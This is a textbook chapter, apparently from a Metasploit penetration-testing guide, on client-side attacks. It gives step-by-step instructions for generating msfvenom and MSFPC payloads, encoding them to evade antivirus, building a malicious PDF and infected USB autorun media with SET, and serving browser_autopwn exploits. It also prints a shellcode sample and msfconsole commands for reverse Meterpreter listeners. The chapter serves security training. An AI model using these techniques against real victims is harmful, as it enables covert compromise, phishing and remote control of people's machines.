Chapter 6: Client-Side Attacks with Metasploit

In the previous chapter, we learned how to use tools such as NMAP and Nessus to directly exploit vulnerabilities in the target system. However, the techniques that we learned are only useful if the attacker's system and the target system are within the same network.

In this chapter, we'll look at an overview of the techniques used to exploit systems that are located in different networks altogether.

The topics to be covered in this chapter are as follows:

• Understanding the need for client-side attacks
• Exploring the msfvenom utility
• Using MSFvenom Payload Creator (MSFPC)
• Social engineering with Metasploit
• Using browser autopwn

Understanding the need for client-side attacks

In the previous chapter, we used the MS08_067net api vulnerability in our target system to gain complete administrator-level access to the system. We configured the value of the RHOST variable as the IP address of our target system. Now, the exploit was successful only because the attacker's system and the target system were both on the same network (the IP address of the attacker's system was 192.168.44.134 and the IP address of the target system was 192.168.44.129).

This scenario was pretty straightforward, as shown here:

Figure 6.1 – Attack Scenario

Now consider the scenario shown in the following figure. The IP address of the attacker's system is a public address, and he is trying to exploit a vulnerability on a system that is not in the same network. Note that the target system, in this case, has a private IP address (10.11.1.56) and is NATed behind an internet router (88.43.21.9x). So, there's no direct connectivity between the attacker's system and the target system. By setting the RHOST to 89.43.21.9, the attacker can only reach the internet router and not the desired target system. In this case, we need to adopt another approach for attacking our target system, known as client-side attacks:

Figure 6.2 – Attack scenario with victim behind NAT

The type of attack that we will adopt is the client-side attack. Let's get a better understanding of these attacks in the next section.

What are client-side attacks?

As we have seen in the preceding section, if the target system is not in the same network as that of the attacker then the attacker cannot reach the target system directly. In this case, the attacker will have to send the payload to the target system by some other means. Some of the techniques for delivering the payload to the target system are listed here:

• The attacker hosts a website with the required malicious payload and sends it to the victim.
• The attacker sends the payload embedded in any innocent-looking file, such as a DOC, PDF, or XLS, to the victim over email.
• The attacker sends the payload using an infected media drive (such as a USB flash drive, CD, or DVD).

Now, once the payload has been sent to the victim, the victim needs to perform the required action in order to trigger the payload. Once the payload is triggered, it will connect back to the attacker and give him the required access. Most client-side attacks require the victim to perform some kind of action or other.

The following flowchart summarizes how client-side attacks work:

Figure 6.3 – Attack procedure for client-side attacks

What is a shellcode?

Let's break the word shellcode into shell and code. In simple terms, a shellcode is a code that is designed to give a shell access to the target system. Practically, a shellcode can do lot more than just giving a shell access. It all depends on what actions are defined in the shellcode. When executing client-side attacks, we need to choose the precise shellcode that will be part of our payload. Let's assume there's a certain vulnerability in the target system; the attacker can write a shellcode to exploit that vulnerability. A shellcode is typically a hex-encoded data and may look like this:

"

"x31xc0x31xdbx31xc9x31xd2" "x51x68x6cx6cx20x20x68x33" "x32x2ex64x68x75x73x65x72" "x89xe1xbbx7bx1dx80x7cx51" "xffxd3xb9x5ex67x30xefx81" "xc1x11x11x11x11x51x68x61" "x67x65x42x68x4dx65x73x73" "x89xe1x51x50xbbx40xaex80" "x7cxffxd3x89xe1x31xd2x52" "x51x51x52xffxd0x31xc0x50" "xb8x12xcbx81x7cxffxd0";"

What is a reverse shell?

A reverse shell is a type of shell that, upon execution, connects back to the attacker's system, giving a shell access. The attacker can virtually execute any command upon getting the victim's shell access.

What is a bind shell?

A bind shell is a type of shell that, upon execution, actively listens for connections on a particular port. The attacker can then connect to this port in order to get access to a shell.

What is an encoder?

The msfvenom utility would generate a payload for us. However, the likelihood of our payload being detected by an antivirus on the target system is quite high. Almost all industry-leading antivirus and security software programs have signatures to detect Metasploit payloads. If our payload gets detected, it will render it useless and our exploit would fail. This is exactly where the encoder comes to the rescue. The job of the encoder is to obfuscate the generated payload in such a way that it doesn't get detected by antivirus (or similar security software) programs.

Exploring the msfvenom utility

Earlier, the Metasploit Framework offered two different utilities, namely, msfpayload and msfencode. msfpayload was used to generate a payload in a specified format and msfencode was used to encode and obfuscate the payload using various algorithms. However, the latest version of the Metasploit Framework has combined these utilities into a single utility called msfvenom.

Important Note

msfvenom is a separate utility and doesn't require msfconsole to be running at the same time.

The msfvenom utility can generate a payload as well as encode it in a single command. We shall look at a few commands next:

• List payloads: The msfvenom utility supports all standard Metasploit payloads. We can list all the available payloads using the msfvenom --list payloads command, as in the following screenshot:

Figure 6.4 – Listing payloads in msfvenom

• List encoders: As we discussed earlier, msfvenom is a single utility that can generate as well as encode the payload. It supports all standard Metasploit encoders. We can list all the available encoders using the msfvenom --list encoders command, as in the following screenshot:

Figure 6.5 – Listing encoders in msfvenom

• List formats: While generating a payload, we need to instruct the msfvenom utility about the file format that we need our payload to be generated in. We can use the msfvenom --help formats command to view all the supported payload output formats:

Figure 6.6 – Listing formats in msfvenom

• List platforms: While we generate a payload, we also need to instruct the msfvenom utility about which platform our payload is going to run on. We can use the msfvenom --help-platforms command to list all the supported platforms:

Figure 6.7 – Listing platforms in msfvenom

In the next section, we will be generating a payload with the msfvenom command.

Generating a payload with msfvenom

Now that we are familiar with what payloads, encoders, formats, and platforms the msfvenom utility supports, let's try generating a sample payload, as in the following screenshot:

Figure 6.8 – Generating a payload using msfvenom

The following table shows a detailed explanation for each of the command switches used in the preceding msfvenom command:

Once we have generated a payload, we need to set up a listener that would accept reverse connections once the payload is executed on our target system. The following command will start a Meterpreter listener on the IP address 192.168.44.134 on port 8080:

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 8080; run; exit -y"

Figure 6.9 – Using meterpreter reverse_tcp from msfconsole

Now we have sent the payload, disguised as an Apache update, to our victim. The victim needs to execute it in order to complete the exploit:

Figure 6.10 – Sending the payload to the victim

As soon as the victim executes the apache-update.exe file, we get an active Meterpreter session back on the listener we set up earlier (as in the following screenshot):

Figure 6.11 – Using meterpreter reverse_tcp in msfconsole

Another interesting payload format is VBA. The payload generated in the VBA format, as in the following screenshot, can be embedded in a macro in any Word/Excel document:

Figure 6.12 – Generating a payload using msfvenom

In the next section, we will be learning how MSFPC is another powerful tool that can be used to generate a payload.

Using MSFvenom Payload Creator (MSFPC)

In the previous section, we saw how to use msfvenom to generate custom payloads for client-side attacks. msfvenom is indeed a powerful tool, which comes with many customizable parameters. However, there could be situations where you just want to quickly generate a payload and drop it on your target. This is where the MSFPC tool can come in handy. MSFPC uses the same msfvenom tool in the backend but provides an easy-to-use interface for quick payload generation.

MSFPC just requires one argument to generate the payload, and that is the target platform. It can generate payloads for the following platforms:

• APK
• ASP
• ASPX
• Bash
• Java
• Linux
• OSX
• Perl
• PHP
• Powershell
• Python
• Tomcat
• Windows

Follow these steps to get started with MSFPC:

1. Open the Terminal and type msfpc help, as in the following screenshot:
   

   Figure 6.13 – MSFPC console

2. Now we'll try to generate a payload for an Android target. We can simply use the msfpc apk command, as in the following screenshot:

Figure 6.14 – Generating an Android payload using MSFPC

As the preceding screenshot shows, as soon as we entered the msfpc apk command, it simply asked which IP address should be used for a reverse connection and listed the available network interfaces on the system. Upon selecting the required interface, it created the APK payload and saved it to the /root directory. Along with the payload, it also created the MSF handler script. Creating and deploying quick payloads can be really well achieved using MSFPC.

Next, we will be focusing on social engineering with Metasploit and how it can be used to manipulate human behavior.

Social engineering with Metasploit

Social engineering is the art of manipulating human behavior in order to bypass the security controls of the target system. Let's take the example of an organization that follows very stringent security practices. All the systems are hardened and patched. The latest security software is deployed. Technically, it's very difficult for an attacker to find and exploit any vulnerability. However, the attacker somehow manages to befriend the network administrator of that organization and then tricks him into revealing the admin credentials. This is a classic example where humans are always the weakest link in the security chain.

Kali Linux, by default, has a powerful social engineering tool, which seamlessly integrates with Metasploit to launch targeted attacks. In Kali Linux, the Social Engineering Toolkit is located under Exploitation Tools | Social Engineering Toolkit.

Generating malicious PDFs

Let's look at how we can generate malicious PDFs using the Social Engineering Toolkit:

1. Open the Social Engineering Toolkit
2. Select the first option, Spear-Phishing Attack Vectors, as in the following screenshot.
3. Select the second option, Create a File Format Payload:
   

   Figure 6.15 – Social Engineering Toolkit console

4. Now, select option 14 to use the Adobe util.printf() Buffer Overflow exploit:
   

   Figure 6.16 – Generating a malicious PDF using SET

5. Select option one to use Windows Reverse TCP Shell as the payload for our exploit.
6. Then, set the IP address of the attacker's machine using the LHOST variable (in this case, it's 192.168.44.134) and the port to listen in on (in this case, 443):
   

   Figure 6.17 – Generating a malicious PDF using SET

   The PDF file is generated in the directory /root/.set/.

7. Now, we need to send it to our victim using any of the available communication mediums.

Meanwhile, we also need to start a listener, which will accept the reverse Meterpreter connection from our target.

We can start a listener using the following command:

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.44.134; set LPORT 443; run; exit -y"

On the other end, our victim received the PDF file and tried to open it using Adobe Reader. Adobe Reader crashed; however, there's no sign that would indicate that they were the victim of a compromise:

Fig 6.18 – Executing a malicious PDF on target system

Back on the listener end (on the attacker's system), we have got a new meterpreter shell! We can see this in the following screenshot:

Figure 6.19 – Getting meterpreter access to target system

We've now successfully learned how to compromise a computer. Next, we will be creating infectious media drives.

Creating infectious media drives

Let's learn how to create infectious media drives:

1. Open the Social Engineering Toolkit from the main menu.
2. Select option three, Infectious Media Generator, as in the following screenshot. Then, select option two to create a standard Metasploit executable:
   

   Figure 6.20 – Generating a malicious payload using SET

3. Now, select option one to use Windows Shell Reverse TCP as the payload for our exploit. Then, set the IP address in the LHOST variable and the port to listen in on:

Figure 6.21 – Generating a malicious payload using SET

The Social Engineering Toolkit (SET) will generate a folder called autorun located at /root/.set/. This folder can be copied to a USB Flash Drive or CD/DVD ROMs to distribute to our victim. Meanwhile, we would also need to set up a listener (as in the earlier section) and then wait for our victim to insert the infected media into his system.

Next, we will be using another auxiliary module, browser_autopwn, to perform a client-side attack.

Using browser autopwn

An interesting auxiliary module for performing client-side attacks is browser_autopwn. This auxiliary module works in the following sequence:

1. The attacker executes the browser_autopwn auxiliary module.
2. A web server is initiated (on the attacker's system), which hosts a payload. The payload is accessible over a specific URL.
3. The attacker sends the specially generated URL to his victim.
4. The victim tries to open the URL, which is when the payload gets downloaded on his system.
5. If the victim's browser is vulnerable, the exploit is successful and the attacker gets a Meterpreter shell.

From msfconsole, select the browser_autopwn module using the auxiliary/server/browser_autopwn command, as in the following screenshot. Then, configure the value of the LHOST variable and run the auxiliary module:

Figure 6.22 – Using the browser_autopwn auxiliary module

Running the auxiliary module will create many different instances of exploit/payload combinations as the victim might be using any kind of browser:

Figure 6.23 – Using the browser_autopwn auxiliary module

On the target system, our victim opened up Internet Explorer and tried to hit the malicious URL http://192.1 68. 4 4.134:80 80 (that we set up using the browser_autopwn auxiliary module).

Back on our Metasploit system, we got a meterpreter shell as soon as our victim opened the specially crafted URL:

Figure 6.24 – Using the browser_autopwn auxiliary module

We've successfully learned how to use browser autopwn.

Summary

In this chapter, we learned how to use various tools and techniques in order to launch advanced client-side attacks and bypass the network perimeter restrictions. You can now use a variety of techniques to test vulnerabilities on systems using these attacks.

In the next chapter, we'll look at Metasploit's capabilities for testing the security of web applications.

Exercises

You can try the following exercises:

• Get familiar with the various parameters and switches of msfvenom.
• Explore various other social engineering techniques provided by the Social Engineering Toolkit.
• Use MSFPC to create a payload that can be deployed on Tomcat.